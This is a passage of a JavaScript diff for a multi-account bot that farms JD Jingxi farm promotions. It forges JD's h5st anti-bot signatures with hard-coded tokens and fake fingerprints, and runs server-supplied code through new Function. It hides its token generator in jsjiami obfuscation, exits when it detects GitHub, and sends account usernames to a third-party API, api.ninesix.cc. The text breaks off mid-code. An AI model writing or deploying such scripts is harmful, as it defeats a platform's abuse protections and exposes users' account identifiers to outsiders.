!!item); + } + + $.log(`共${cookieArr.length}个京东账号\n`); + + // if ($.isNode()) { + // Object.keys(jdTokenNode).forEach((item) => { + // tokenArr.push(jdTokenNode[item] ? JSON.parse(jdTokenNode[item]) : tokenNull) + // }) + // } else { + // let tmpTokens = JSON.parse($.getdata('jx_tokens') || '[]'); + // tokenArr.push(...tmpTokens) + // } + + if ($.isNode()) { + Object.keys(jdJxncShareCodeNode).forEach((item) => { + if (jdJxncShareCodeNode[item]) { + jxncShareCodeArr.push(jdJxncShareCodeNode[item]) + } else { + jxncShareCodeArr.push(''); + } + }) + } + + // 检查互助码是否为 json [smp,active,joinnum] 格式,否则进行通知 + for (let i = 0; i < jxncShareCodeArr.length; i++) { + if (jxncShareCodeArr[i]) { + let tmpJxncShareStr = jxncShareCodeArr[i]; + let tmpjsonShareCodeArr = tmpJxncShareStr.split('@'); + if (!changeShareCodeJson(tmpjsonShareCodeArr[0])) { + $.log('互助码格式已变更,请重新填写互助码'); + $.msg($.name, '互助码格式变更通知', '互助码格式变更,请重新填写 ‼️‼️', option); + if ($.isNode()) { + await notify.sendNotify(`${$.name}`, `互助码格式变更,请重新填写 ‼️‼️`); + } + } + break; + } + } + + // console.log(`jdFruitShareArr::${JSON.stringify(jxncShareCodeArr)}`) + // console.log(`jdFruitShareArr账号长度::${jxncShareCodeArr.length}`) + $.log(`您提供了${jxncShareCodeArr.length}个账号的京喜农场助力码`); + + try { + let options = { + "url": `https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxnc.txt`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "timeout": 10000, + } + $.get(options, (err, resp, data) => { // 初始化内置变量 + if (!err) { + shareCode = data; + } + }); + } catch (e) { + // 获取内置助力码失败 + } + resolve() + }) +} + +// 查询京东账户信息(检查 cookie 是否有效) +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: currentCookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +// 处理当前账号token +function tokenFormat() { + return new Promise(async resolve => { + if (tokenArr[$.index - 1] && tokenArr[$.index - 1].farm_jstoken) { + currentToken = tokenArr[$.index - 1]; + } else { + currentToken = tokenNull; + } + resolve(); + }) +} + +// 处理当前账号助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${jdFruitShareArr[$.index - 1]}`) + if (jxncShareCodeArr[$.index - 1]) { + currentShareCode = jxncShareCodeArr[$.index - 1].split('@'); + currentShareCode.push(...(shareCode.split('@'))); + } else { + $.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码`) + currentShareCode = shareCode.split('@'); + } + $.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(currentShareCode)}`) + resolve(); + }) +} + +async function jdJXNC() { + subTitle = `【京东账号${$.index}】${$.nickName}`; + $.log(`获取用户信息 & 任务列表`); + const startInfo = await getTaskList(); + if (startInfo) { + message += `【水果名称】${startInfo.prizename}\n`; + if (startInfo.target <= startInfo.score) { // 水滴已满 + if (startInfo.activestatus === 2) { // 成熟未收取 + notifyBool = true; + $.log(`【成熟】水果已成熟请及时收取,activestatus:${startInfo.activestatus}\n`); + message += `【成熟】水果已成熟请及时收取,activestatus:${startInfo.activestatus}\n`; + } else if (startInfo.activestatus === 0) { // 未种植(成熟已收取) + $.log('账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。'); + message += '账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。\n'; + notifyBool = notifyBool && notifyLevel >= 3; + } + } else { + let shareCodeJson = { + "smp": $.info.smp, + "active": $.info.active, + "joinnum": $.info.joinnum, + }; + $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】` + JSON.stringify(shareCodeJson)); + await $.wait(500); + const isOk = await browserTask(); + if (isOk) { + await $.wait(500); + await answerTask(); + await $.wait(500); + const endInfo = await getTaskList(); + getMessage(endInfo, startInfo); + await submitInviteId($.UserName); + await $.wait(500); + let next = await helpFriends(); + if (next) { + while ($.helpNum < $.maxHelpNum) { + $.helpNum++; + assistUserShareCodeJson = await getAssistUser(); + if (assistUserShareCodeJson) { + await $.wait(500); + next = await helpShareCode(assistUserShareCodeJson['smp'], assistUserShareCodeJson['active'], assistUserShareCodeJson['joinnum']); + if (next) { + await $.wait(1000); + continue; + } + } + break; + } + } + } + } + } + await showMsg() +} + +// 获取任务列表与用户信息 +function getTaskList() { + return new Promise(async resolve => { + $.get(taskUrl('query', `type=1`), async (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1]; + const {detail, msg, task = [], retmsg, ...other} = JSON.parse(res); + $.detail = detail; + $.helpTask = task.filter(x => x.tasktype === 2)[0] || {eachtimeget: 0, limit: 0}; + $.allTask = task.filter(x => x.tasktype !== 3 && x.tasktype !== 2 && parseInt(x.left) > 0); + $.info = other; + $.log(`获取任务列表 ${retmsg} 总共${$.allTask.length}个任务!`); + if (!$.info.active) { + $.log('账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。'); + message += '账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。\n'; + notifyBool = notifyBool && notifyLevel >= 3; + resolve(false); + } + resolve(other); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(true); + } + }); + }); +} + +function browserTask() { + return new Promise(async resolve => { + const tasks = $.allTask.filter(x => x.tasklevel !== 6); + const times = Math.max(...[...tasks].map(x => x.limit)); + for (let i = 0; i < tasks.length; i++) { + const task = tasks[i]; + $.log(`开始第${i + 1}个任务:${task.taskname}`); + const status = [0]; + for (let i = 0; i < times; i++) { + const random = Math.random() * 3; + await $.wait(random * 1000); + if (status[0] === 0) { + status[0] = await doTask(task); + } + if (status[0] !== 0) { + break; + } + } + if (status[0] === 1017) { // ret:1017 retmsg:"score full" 水滴已满,果实成熟,跳过所有任务 + $.log('水滴已满,果实成熟,跳过所有任务'); + resolve(true); + break; + } + if (status[0] === 1032) { + $.log('任务执行失败,种植的 APP 专属种子,请提供 token 或种植非 APP 种子'); + message += '任务执行失败,种植的 APP 专属种子,请提供 token 或种植非 APP 种子\n'; + notifyBool = notifyBool && notifyLevel >= 2; + resolve(false); + return; + } + + $.log(`结束第${i + 1}个任务:${task.taskname}`); + } + resolve(true); + }); +} + +function answerTask() { + const _answerTask = $.allTask.filter(x => x.tasklevel === 6); + if (!_answerTask || !_answerTask[0]) return; + const {tasklevel, left, taskname, eachtimeget} = _answerTask[0]; + $.log(`准备做答题任务:${taskname}`); + return new Promise(async resolve => { + if (parseInt(left) <= 0) { + resolve(false); + $.log(`${taskname}[做任务]: 任务已完成,跳过`); + return; + } + $.get( + taskUrl( + 'dotask', + `active=${$.info.active}&answer=${$.info.indexday}:${['A', 'B', 'C', 'D'][$.answer]}:0&joinnum=${ + $.info.joinnum + }&tasklevel=${tasklevel}&_stk=${encodeURIComponent("active,answer,ch,farm_jstoken,joinnum,phoneid,tasklevel,timestamp")}`, + ), + async (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1] + let {ret, retmsg, right} = JSON.parse(res); + retmsg = retmsg !== '' ? retmsg : '成功'; + $.log(`${taskname}[做任务]:ret:${ret} retmsg:"${retmsg.indexOf('活动太火爆了') !== -1 ? '任务进行中或者未到任务时间' : retmsg}"`); + if (ret === 0 && right === 1) { + $.drip += eachtimeget; + } + // ret:1017 retmsg:"score full" 水滴已满,果实成熟,跳过答题 + // ret:1012 retmsg:"has complte" 已完成,跳过答题 + if (ret === 1017 || ret === 1012) { + resolve(); + return; + } + if (((ret !== 0 && ret !== 1029) || retmsg === 'ans err') && $.answer > 0) { + $.answer--; + await $.wait(1000); + await answerTask(); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + ); + }); +} + +function getMessage(endInfo, startInfo) { + const need = endInfo.target - endInfo.score; + const get = endInfo.modifyscore; // 本次变更获得水滴 + const leaveGet = startInfo.modifyscore; // 离开时获得水滴 + let dayGet = 0; // 今日共获取水滴数 + if ($.detail) { + let dayTime = new Date(new Date().toLocaleDateString()).getTime() / 1000; // 今日 0 点时间戳(10位数) + $.detail.forEach(function (item, index) { + if (item.time >= dayTime && item.score) { + dayGet += item.score; + } + }); + } + message += `【水滴】本次获得${get} 离线获得${leaveGet} 今日获得${dayGet} 还需水滴${need}\n`; + if (need <= 0) { + notifyBool = true; + message += `【成熟】水果已成熟请及时收取,deliverState:${endInfo.deliverState}\n`; + return; + } + if (get > 0 || leaveGet > 0 || dayGet > 0) { + const day = Math.ceil(need / (dayGet > 0 ? dayGet : (get + leaveGet))); + message += `【预测】还需 ${day} 天\n`; + } + if (get > 0 || leaveGet > 0) { // 本次 或 离线 有水滴 + notifyBool = notifyBool && notifyLevel >= 1; + } else { + notifyBool = notifyBool && notifyLevel >= 2; + } +} + +// 提交助力码 +function submitInviteId(userName) { + return new Promise(resolve => { + if (!$.info || !$.info.smp) { + resolve(); + return; + } + try { + $.post( + { + url: `https://api.ninesix.cc/api/jx-nc/${$.info.smp}/${encodeURIComponent(userName)}?active=${$.info.active}&joinnum=${$.info.joinnum}`, + timeout: 10000 + }, + (err, resp, _data) => { + try { + const {code, data = {}} = JSON.parse(_data); + $.log(`邀请码提交:${code}`); + if (data.value) { + message += '【邀请码】提交成功!\n'; + } + } catch (e) { + // $.logErr(e, resp); + $.log('邀请码提交失败 API 返回异常'); + } finally { + resolve(); + } + }, + ); + } catch (e) { + // $.logErr(e, resp); + resolve(); + } + }); +} + +function getAssistUser() { + return new Promise(resolve => { + try { + $.get({ + url: `https://api.ninesix.cc/api/jx-nc?active=${$.info.active}`, + timeout: 10000 + }, async (err, resp, _data) => { + try { + const {code, data: {value, extra = {}} = {}} = JSON.parse(_data); + if (value && extra.active) { // && extra.joinnum 截止 2021-01-22 16:39:09 API 线上还未部署新的 joinnum 参数代码,暂时默认 1 兼容 + let shareCodeJson = { + 'smp': value, + 'active': extra.active, + 'joinnum': extra.joinnum || 1 + }; + $.log(`获取随机助力码成功 ` + JSON.stringify(shareCodeJson)); + resolve(shareCodeJson); + return; + } else { + $.log(`获取随机助力码失败 ${code}`); + } + } catch (e) { + // $.logErr(e, resp); + $.log('获取随机助力码失败 API 返回异常'); + } finally { + resolve(false); + } + }); + } catch (e) { + // $.logErr(e, resp); + resolve(false); + } + }); +} + +// 为好友助力 return true 继续助力 false 助力结束 +async function helpFriends() { + let tmpShareCodeJson = {}; + for (let code of currentShareCode) { + if (!code) { + continue + } + tmpShareCodeJson = changeShareCodeJson(code); + if (!tmpShareCodeJson) { //非 json 格式跳过 + console.log('助力码非 json 格式,跳过') + continue; + } + const next = await helpShareCode(tmpShareCodeJson['smp'], tmpShareCodeJson['active'], tmpShareCodeJson['joinnum']); + if (!next) { + return false; + } + await $.wait(1000); + } + return true; +} + +// 执行助力 return true 继续助力 false 助力结束 +function helpShareCode(smp, active, joinnum) { + return new Promise(async resolve => { + if (smp === $.info.smp) { // 自己的助力码,跳过,继续执行 + $.log('助力码与当前账号相同,跳过助力。准备进行下一个助力'); + resolve(true); + } + $.log(`即将助力 share {"smp":"${smp}","active":"${active}","joinnum":"${joinnum}"}`); + $.get( + taskUrl('help', `active=${active}&joinnum=${joinnum}&smp=${smp}`), + async (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1]; + const {ret, retmsg = ''} = JSON.parse(res); + $.log(`助力结果:ret=${ret} retmsg="${retmsg ? retmsg : 'OK'}"`); + // ret=0 助力成功 + // ret=1011 active 不同 + // ret=1012 has complete 已完成 + // ret=1013 retmsg="has expired" 已过期 + // ret=1009 retmsg="today has help p2p" 今天已助力过 + // ret=1021 cannot help self 不能助力自己 + // ret=1032 retmsg="err operate env" 被助力者为 APP 专属种子,当前助力账号未配置 TOKEN + // if (ret === 0 || ret === 1009 || ret === 1011 || ret === 1012 || ret === 1021 || ret === 1032) { + // resolve(true); + // return; + // } + // ret 1016 当前账号达到助力上限 + // ret 147 filter 当前账号黑号了 + if (ret === 147 || ret === 1016) { + if (ret === 147) { + $.log(`\n\n !!!!!!!! 当前账号黑号了 !!!!!!!! \n\n`); + } + resolve(false); + return; + } + resolve(true); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(false); + } + }, + ); + }); +} + + +function doTask({tasklevel, left, taskname, eachtimeget}) { + return new Promise(async resolve => { + if (parseInt(left) <= 0) { + $.log(`${taskname}[做任务]: 任务已完成,跳过`); + resolve(false); + } + $.get( + taskUrl( + 'dotask', + `active=${$.info.active}&answer=${$.info.indexday}:D:0&joinnum=${$.info.joinnum}&tasklevel=${tasklevel}&_stk=${encodeURIComponent("active,answer,ch,farm_jstoken,joinnum,phoneid,tasklevel,timestamp")}`, + ), + (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1]; + let {ret, retmsg} = JSON.parse(res); + retmsg = retmsg !== '' ? retmsg : '成功'; + $.log(`${taskname}[做任务]:ret:${ret} retmsg:"${retmsg.indexOf('活动太火爆了') !== -1 ? '任务进行中或者未到任务时间' : retmsg}"`); + if (ret === 0) { + $.drip += eachtimeget; + } + resolve(ret); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + ); + }); +} + + +function taskUrl(function_path, body, stk) { + let url = `${JXNC_API_HOST}cubeactive/farm/${function_path}?${body}&farm_jstoken=${currentToken['farm_jstoken']}&phoneid=${currentToken['phoneid']}×tamp=${currentToken['timestamp']}&sceneval=2&g_login_type=1&callback=whyour&_=${Date.now()}&g_ty=ls`; + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + Cookie: currentCookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 'Accept-Encoding': `gzip, deflate, br`, + Host: `wq.jd.com`, + 'Accept-Language': `zh-cn`, + "User-Agent": UA + }, + timeout: 10000, + }; +} +function randomString() { + return Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) +} + +async function showMsg() { + if (notifyBool) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + allMessage += `${subTitle}\n${message}${$.index !== cookieArr.length ? '\n\n' : ''}` + } + } else { + $.log(`${$.name} - notify 通知已关闭\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); + } +} + +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +var _0xodF='jsjiami.com.v6',_0x5b0b=[_0xodF,'cyNU','XcOkE8O8wqc=','bsOsw4LCsRUKacOqw6xywrnCpcOBwqzDrMK4w78Hc0RtARs1LMK7UsORw5DDtTvDlMOhTWdJ','w7PDhsK5LTw=','VA0TwroQwpk=','w6xQw4hObsKK','wqrDmcK/KmQ=','wqduwp7DhcOT','KCpb','5q2F6Laf5Y+2w69KNcKRQ8Ki5aGE5Ye45Lug6KS56Iy4dOS9lueZvcKJHWtDelV+S8KQwqHlkZDpnpnmsrHli4jljpnDpQAMw7A=','qzJQKjsjhUKiamhDLiI.Jrcom.v6=='];(function(_0x575984,_0x111392,_0x45a010){var _0x199276=function(_0x3fe5bc,_0x4fea58,_0x564d83,_0x7e4c96,_0x31f329){_0x4fea58=_0x4fea58>>0x8,_0x31f329='po';var _0x1b3d5d='shift',_0x48218b='push';if(_0x4fea58<_0x3fe5bc){while(--_0x3fe5bc){_0x7e4c96=_0x575984[_0x1b3d5d]();if(_0x4fea58===_0x3fe5bc){_0x4fea58=_0x7e4c96;_0x564d83=_0x575984[_0x31f329+'p']();}else if(_0x4fea58&&_0x564d83['replace'](/[qzJQKhUKhDLIJr=]/g,'')===_0x4fea58){_0x575984[_0x48218b](_0x7e4c96);}}_0x575984[_0x48218b](_0x575984[_0x1b3d5d]());}return 0x8dbb1;};return _0x199276(++_0x111392,_0x45a010)>>_0x111392^_0x45a010;}(_0x5b0b,0x138,0x13800));var _0xa80f=function(_0x573aaa,_0x1954c9){_0x573aaa=~~'0x'['concat'](_0x573aaa);var _0x28dbcb=_0x5b0b[_0x573aaa];if(_0xa80f['fYTBaI']===undefined){(function(){var _0x34fb78=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x4c41c3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x34fb78['atob']||(_0x34fb78['atob']=function(_0x108344){var _0x1c9d23=String(_0x108344)['replace'](/=+$/,'');for(var _0x231b41=0x0,_0x409c1c,_0x79d606,_0x4d4dd3=0x0,_0x539f42='';_0x79d606=_0x1c9d23['charAt'](_0x4d4dd3++);~_0x79d606&&(_0x409c1c=_0x231b41%0x4?_0x409c1c*0x40+_0x79d606:_0x79d606,_0x231b41++%0x4)?_0x539f42+=String['fromCharCode'](0xff&_0x409c1c>>(-0x2*_0x231b41&0x6)):0x0){_0x79d606=_0x4c41c3['indexOf'](_0x79d606);}return _0x539f42;});}());var _0x11caff=function(_0x4969ce,_0x1954c9){var _0x1deab0=[],_0x54f040=0x0,_0x11157a,_0x28c8dd='',_0x2e4762='';_0x4969ce=atob(_0x4969ce);for(var _0x4c665e=0x0,_0x81f3b1=_0x4969ce['length'];_0x4c665e<_0x81f3b1;_0x4c665e++){_0x2e4762+='%'+('00'+_0x4969ce['charCodeAt'](_0x4c665e)['toString'](0x10))['slice'](-0x2);}_0x4969ce=decodeURIComponent(_0x2e4762);for(var _0x4c705a=0x0;_0x4c705a<0x100;_0x4c705a++){_0x1deab0[_0x4c705a]=_0x4c705a;}for(_0x4c705a=0x0;_0x4c705a<0x100;_0x4c705a++){_0x54f040=(_0x54f040+_0x1deab0[_0x4c705a]+_0x1954c9['charCodeAt'](_0x4c705a%_0x1954c9['length']))%0x100;_0x11157a=_0x1deab0[_0x4c705a];_0x1deab0[_0x4c705a]=_0x1deab0[_0x54f040];_0x1deab0[_0x54f040]=_0x11157a;}_0x4c705a=0x0;_0x54f040=0x0;for(var _0x4f3ecc=0x0;_0x4f3ecc<_0x4969ce['length'];_0x4f3ecc++){_0x4c705a=(_0x4c705a+0x1)%0x100;_0x54f040=(_0x54f040+_0x1deab0[_0x4c705a])%0x100;_0x11157a=_0x1deab0[_0x4c705a];_0x1deab0[_0x4c705a]=_0x1deab0[_0x54f040];_0x1deab0[_0x54f040]=_0x11157a;_0x28c8dd+=String['fromCharCode'](_0x4969ce['charCodeAt'](_0x4f3ecc)^_0x1deab0[(_0x1deab0[_0x4c705a]+_0x1deab0[_0x54f040])%0x100]);}return _0x28c8dd;};_0xa80f['LuAVWF']=_0x11caff;_0xa80f['mCXDyr']={};_0xa80f['fYTBaI']=!![];}var _0x390a3d=_0xa80f['mCXDyr'][_0x573aaa];if(_0x390a3d===undefined){if(_0xa80f['dUKlOc']===undefined){_0xa80f['dUKlOc']=!![];}_0x28dbcb=_0xa80f['LuAVWF'](_0x28dbcb,_0x1954c9);_0xa80f['mCXDyr'][_0x573aaa]=_0x28dbcb;}else{_0x28dbcb=_0x390a3d;}return _0x28dbcb;};function getJxToken(){var _0xa422={'lGSBc':_0xa80f('0','9qEv'),'zYXMd':function(_0x3fddf8,_0x2e8c46){return _0x3fddf8(_0x2e8c46);},'EtUUR':function(_0xc1dc78,_0x2dd44b){return _0xc1dc78(_0x2dd44b);},'fhrXi':function(_0x4b8614){return _0x4b8614();}};function _0x2cfb27(_0x3d541e){let _0x19600a=_0xa422[_0xa80f('1','Ye&F')];let _0x1a62e9='';for(let _0x44ee85=0x0;_0x44ee85<_0x3d541e;_0x44ee85++){_0x1a62e9+=_0x19600a[parseInt(Math[_0xa80f('2',']aCG')]()*_0x19600a[_0xa80f('3','J@ZI')])];}return _0x1a62e9;}return new Promise(_0x3d4dca=>{let _0x1934d2=_0xa422[_0xa80f('4','&w[x')](_0x2cfb27,0x28);let _0x140a50=(+new Date())['toString']();if(!currentCookie[_0xa80f('5','YcXf')](/pt_pin=([^; ]+)(?=;?)/)){console[_0xa80f('6','WGWr')](_0xa80f('7','4!)U'));_0x3d4dca(null);}let _0x1ab949=currentCookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0xa37fe3=$[_0xa80f('8','MVeX')](''+_0xa422['EtUUR'](decodeURIComponent,_0x1ab949)+_0x140a50+_0x1934d2+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')['toString']();currentToken={'timestamp':_0x140a50,'phoneid':_0x1934d2,'farm_jstoken':_0xa37fe3};_0xa422[_0xa80f('9','ZsI%')](_0x3d4dca);});};_0xodF='jsjiami.com.v6'; +// prettier-ignore +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new 